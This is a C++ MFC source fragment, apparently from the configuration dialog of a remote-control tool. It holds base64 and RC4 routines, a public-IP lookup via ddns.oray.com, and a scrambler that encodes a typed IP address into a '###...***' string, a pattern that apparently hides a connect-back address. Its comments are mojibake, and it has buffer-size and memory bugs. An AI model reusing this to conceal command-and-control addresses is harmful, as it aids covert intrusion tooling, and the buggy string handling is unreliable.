255, 255, 255, 255, 255, 255, 255, 255,
|
||
255, 255, 255, 255, 255, 255, 255, 255,
|
||
255, 255, 255, 255, 255, 255, 255, 255,
|
||
255, 255, 255, 255, 255, 255, 255, 255,
|
||
255, 255, 255, 255, 255, 255, 255, 255,
|
||
255, 255, 255, 255, 255, 255, 255, 255,
|
||
255, 255, 255, 255, 255, 255, 255, 255,
|
||
255, 255, 255, 255, 255, 255, 255, 255 };
|
||
|
||
|
||
const int nSrcCount=(int)_tcslen(lpszSrc);
|
||
int nSize=nSrcCount/4*3;
|
||
if(lpszSrc[nSrcCount-1]=='=')
|
||
nSize--;
|
||
if(lpszSrc[nSrcCount-2]=='=')
|
||
nSize--;
|
||
char* pOutBuffer=new char[nSize+3];
|
||
ZeroMemory(pOutBuffer,nSize+3);
|
||
LPCTSTR pInBuffer=lpszSrc;
|
||
UINT iTest,iPack;
|
||
for(int i=0;i<nSize/3 ;i++)
|
||
{
|
||
for(int j=0;j<4;j++)
|
||
{
|
||
iTest = BASE64_DECODE_TABLE[*pInBuffer++]; // Read from InputBuffer.
|
||
//InPtr++;
|
||
if (iTest == 0xFF)
|
||
{
|
||
j--;
|
||
continue; //¶Áµ½255·Ç·¨×Ö·û
|
||
}
|
||
iPack = iPack << 6 ;
|
||
iPack = iPack | iTest ;
|
||
}
|
||
pOutBuffer[2] = iPack;
|
||
iPack = iPack >> 8;
|
||
pOutBuffer[1] = iPack;
|
||
iPack = iPack >> 8;
|
||
pOutBuffer[0] = iPack;
|
||
//×¼±¸Ð´Èëºó3λ
|
||
pOutBuffer+= 3; iPack = 0;
|
||
|
||
}
|
||
switch(nSize%3)
|
||
{
|
||
case 1:
|
||
iTest = BASE64_DECODE_TABLE[*pInBuffer++]; // Read from InputBuffer.
|
||
if (iTest != 0xFF)
|
||
{
|
||
iPack = iPack << 6 ;
|
||
iPack = iPack | iTest ;
|
||
}
|
||
iTest = BASE64_DECODE_TABLE[*pInBuffer++]; // Read from InputBuffer.
|
||
if (iTest != 0xFF)
|
||
{
|
||
iPack = iPack << 6 ;
|
||
iPack = iPack | iTest ;
|
||
}
|
||
iPack = iPack >> 4;
|
||
pOutBuffer[0] = iPack;
|
||
pOutBuffer++;
|
||
break;
|
||
case 2:
|
||
iTest = BASE64_DECODE_TABLE[*pInBuffer++]; // Read from InputBuffer.
|
||
if (iTest != 0xFF)
|
||
{
|
||
iPack = iPack << 6 ;
|
||
iPack = iPack | iTest ;
|
||
}
|
||
iTest = BASE64_DECODE_TABLE[*pInBuffer++]; // Read from InputBuffer.
|
||
if (iTest != 0xFF)
|
||
{
|
||
iPack = iPack << 6 ;
|
||
iPack = iPack | iTest ;
|
||
}
|
||
iTest = BASE64_DECODE_TABLE[*pInBuffer++]; // Read from InputBuffer.
|
||
if (iTest != 0xFF)
|
||
{
|
||
iPack = iPack << 6 ;
|
||
iPack = iPack | iTest ;
|
||
}
|
||
iPack = iPack >> 2;
|
||
pOutBuffer[1] = iPack;
|
||
iPack = iPack >> 8;
|
||
pOutBuffer[0] = iPack;
|
||
pOutBuffer+=2;
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
pOutBuffer-=nSize;
|
||
CString strDecode=pOutBuffer;
|
||
delete pOutBuffer;
|
||
return strDecode;
|
||
}
|
||
|
||
// RC4 ³õʼ»¯
|
||
void CUpdateDlg::rc4_init(unsigned char *s, unsigned char *key, unsigned long Len)
|
||
{
|
||
int i =0, j = 0, k[256] = {0};
|
||
unsigned char tmp = 0;
|
||
for(i=0;i<256;i++)
|
||
{
|
||
s[i]=i;
|
||
k[i]=key[i%Len];
|
||
}
|
||
for (i=0; i<256; i++)
|
||
{
|
||
j=(j+s[i]+k[i])%256;
|
||
tmp = s[i];
|
||
s[i] = s[j]; //½»»»s[i]ºÍs[j]
|
||
s[j] = tmp;
|
||
}
|
||
}
|
||
|
||
// RC4 ¼ÓÃܽâÃܺ¯Êý
|
||
void CUpdateDlg::rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len)
|
||
{
|
||
int x = 0, y = 0, t = 0;
|
||
unsigned char tmp;
|
||
unsigned long i;
|
||
for(i=0;i<Len;i++)
|
||
{
|
||
x=(x+1)%256;
|
||
y=(y+s[x])%256;
|
||
tmp = s[x];
|
||
s[x] = s[y]; //½»»»s[x]ºÍs[y]
|
||
s[y] = tmp;
|
||
t=(s[x]+s[y])%256;
|
||
Data[i] ^= s[t];
|
||
}
|
||
}
|
||
|
||
|
||
CString GetExePath()
|
||
{
|
||
char pathbuf[260];
|
||
int pathlen = ::GetModuleFileName(NULL,pathbuf,MAX_PATH);
|
||
// Ìæ»»µôµ¥¸Ü
|
||
while(TRUE)
|
||
{
|
||
if(pathbuf[pathlen--]=='\\')
|
||
break;
|
||
}
|
||
pathbuf[++pathlen]= 0*0;
|
||
CString fname = pathbuf;
|
||
return fname;
|
||
}
|
||
|
||
int CUpdateDlg::memfind(const char *mem, const char *str, int sizem, int sizes)
|
||
{
|
||
int da,i,j;
|
||
if (sizes == 0) da = strlen(str);
|
||
else da = sizes;
|
||
for (i = 0; i < sizem; i++)
|
||
{
|
||
for (j = 0; j < da; j ++)
|
||
if (mem[i+j] != str[j]) break;
|
||
if (j == da) return i;
|
||
}
|
||
return -1;
|
||
}
|
||
|
||
char* CUpdateDlg::substr(char *str,int istar,int iend)
|
||
{
|
||
char *p;
|
||
char p1[100]={0};
|
||
int ip=0;
|
||
|
||
p=str;
|
||
ip=strlen(p);
|
||
if(istar> ip)
|
||
return NULL;
|
||
else
|
||
{
|
||
p+=istar-1;
|
||
}
|
||
int ipp=strlen(p);
|
||
if(ipp <iend)
|
||
strcpy(p1,p);
|
||
else
|
||
{
|
||
//p1+=iend;
|
||
memcpy(p1,p,iend);
|
||
}
|
||
strcpy(str,p1);
|
||
return str;
|
||
|
||
}
|
||
|
||
int CUpdateDlg::ReplaceStr(char* sSrc, char* sMatchStr, char* sReplaceStr)
|
||
{
|
||
int StringLen;
|
||
char caNewString[64];
|
||
char* FindPos;
|
||
FindPos =(char *)strstr(sSrc, sMatchStr);
|
||
if( (!FindPos) || (!sMatchStr) )
|
||
return -1;
|
||
|
||
while( FindPos )
|
||
{
|
||
memset(caNewString, 0, sizeof(caNewString));
|
||
StringLen = FindPos - sSrc;
|
||
strncpy(caNewString, sSrc, StringLen);
|
||
strcat(caNewString, sReplaceStr);
|
||
strcat(caNewString, FindPos + strlen(sMatchStr));
|
||
strcpy(sSrc, caNewString);
|
||
|
||
FindPos =(char *)strstr(sSrc, sMatchStr);
|
||
}
|
||
free(FindPos);
|
||
return 0;
|
||
}
|
||
|
||
CString CUpdateDlg::GetIPAddress()
|
||
{
|
||
char buf[MAX_PATH] = {0};
|
||
char chTempIp[128]= {0};
|
||
|
||
CString strPath;
|
||
strPath = GetExePath() + "\\netip.ini";
|
||
URLDownloadToFile(0,"http://ddns.oray.com/checkip",strPath,0,NULL);
|
||
|
||
FILE *file=fopen( strPath, "r" );
|
||
if ( file != NULL )
|
||
{
|
||
fseek(file, 0, SEEK_SET);
|
||
fread(buf,1,256,file);
|
||
fclose(file);
|
||
|
||
DWORD SizePoint;
|
||
SizePoint = memfind(buf,"Address:",sizeof(buf),0);
|
||
substr(buf,SizePoint+8,17);
|
||
ReplaceStr(buf,":","");
|
||
ReplaceStr(buf," ","");
|
||
ReplaceStr(buf,"<","");
|
||
ReplaceStr(buf,"/","");
|
||
ReplaceStr(buf,"b","");
|
||
ReplaceStr(buf,"o","");
|
||
ReplaceStr(buf,"d","");
|
||
ReplaceStr(buf,"y","");
|
||
DeleteFile(strPath);
|
||
}
|
||
|
||
CString strTemp="";
|
||
int len = strlen(buf);
|
||
if(len>0)
|
||
{
|
||
strTemp.Format("%s",buf);
|
||
}
|
||
return strTemp;
|
||
}
|
||
|
||
void CUpdateDlg::OnDnsipjiami()
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
UpdateData(TRUE);
|
||
// m_long_ipjm.EnableWindow(FALSE);
|
||
|
||
|
||
|
||
int arr[10][15]= {'s','t','u','v','w','x','y','z','a','b','c','d','e','f','g','t','u','v','w','x','y','z','a','b','c','d','e','f','g','h','u','v','w','x','y','z','a','b','c','d','e','f','g','h','i','v','w','x','y','z','a','b','c','d','e','f','g','h','i','j','w','x','y','z','a','b','c','d','e','f','g','h','i','j','k','m','n','o','p','q','r','s','t','u','v','w','x','y','z','a','n','o','p','q','r','s','t','u','v','w','x','y','z','a','b','o','p','q','r','s','t','u','v','w','x','y','z','a','b','c','p','q','r','s','t','u','v','w','x','y','z','a','b','c','d','q','r','s','t','u','v','w','x','y','z','a','b','c','d','e'};
|
||
int D[15]={'r','s','t','u','v','w','x','y','z','a','b','c','d','e','f'};
|
||
char *ip=new char[strlen(m_EDIT_DnsIP)];
|
||
strcpy(ip,m_EDIT_DnsIP);
|
||
|
||
for (int x=0;x<strlen(ip);x++)
|
||
{
|
||
|
||
if (ip[x]=='.')
|
||
{
|
||
ip[x] = D[x];
|
||
}
|
||
else
|
||
ip[x] = arr[ip[x]-48][x];
|
||
}
|
||
|
||
char B15[] = {'#','#','#','\0'};
|
||
char B16[] = {'*','*','*','\0'};
|
||
CString stIP=ip;
|
||
stIP = B15+stIP+B16;
|
||
if ((strlen(stIP)>21) || (strlen(stIP)<13))
|
||
{
|
||
SetDlgItemText(IDC_EDIT_DNSIPJIAMI,"IPÊý¾Ý²»ÕýÈ·");
|
||
}
|
||
else
|
||
SetDlgItemText(IDC_EDIT_DNSIPJIAMI,stIP);
|
||
|
||
// m_long_ipjm.EnableWindow(TRUE);
|
||
}
|
||
|
||
void CUpdateDlg::OnDnsipsjfz()
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
UpdateData(TRUE);
|
||
CString strText1 = m_EDIT_DnsIPjiami;
|
||
|
||
//½«ÄÚÈݱ£´æµ½¼ôÌù°å¡£
|
||
if (!strText1.IsEmpty())
|
||
{
|
||
if (OpenClipboard())
|
||
{
|
||
EmptyClipboard();
|
||
HGLOBAL hClipboardData = GlobalAlloc(GHND | GMEM_SHARE, (strText1.GetLength() + 1) * sizeof(TCHAR));
|
||
if (hClipboardData)
|
||
{
|
||
TCHAR* pszData = (TCHAR *)GlobalLock(hClipboardData);
|
||
strcpy(pszData, strText1);
|
||
GlobalUnlock(hClipboardData);
|
||
SetClipboardData(CF_TEXT, hClipboardData);
|
||
}
|
||
|
||
CloseClipboard();
|
||
|
||
}
|
||
MessageBox("¸´ÖƳɹ¦!","Ìáʾ...", MB_ICONINFORMATION);
|
||
}
|
||
}
|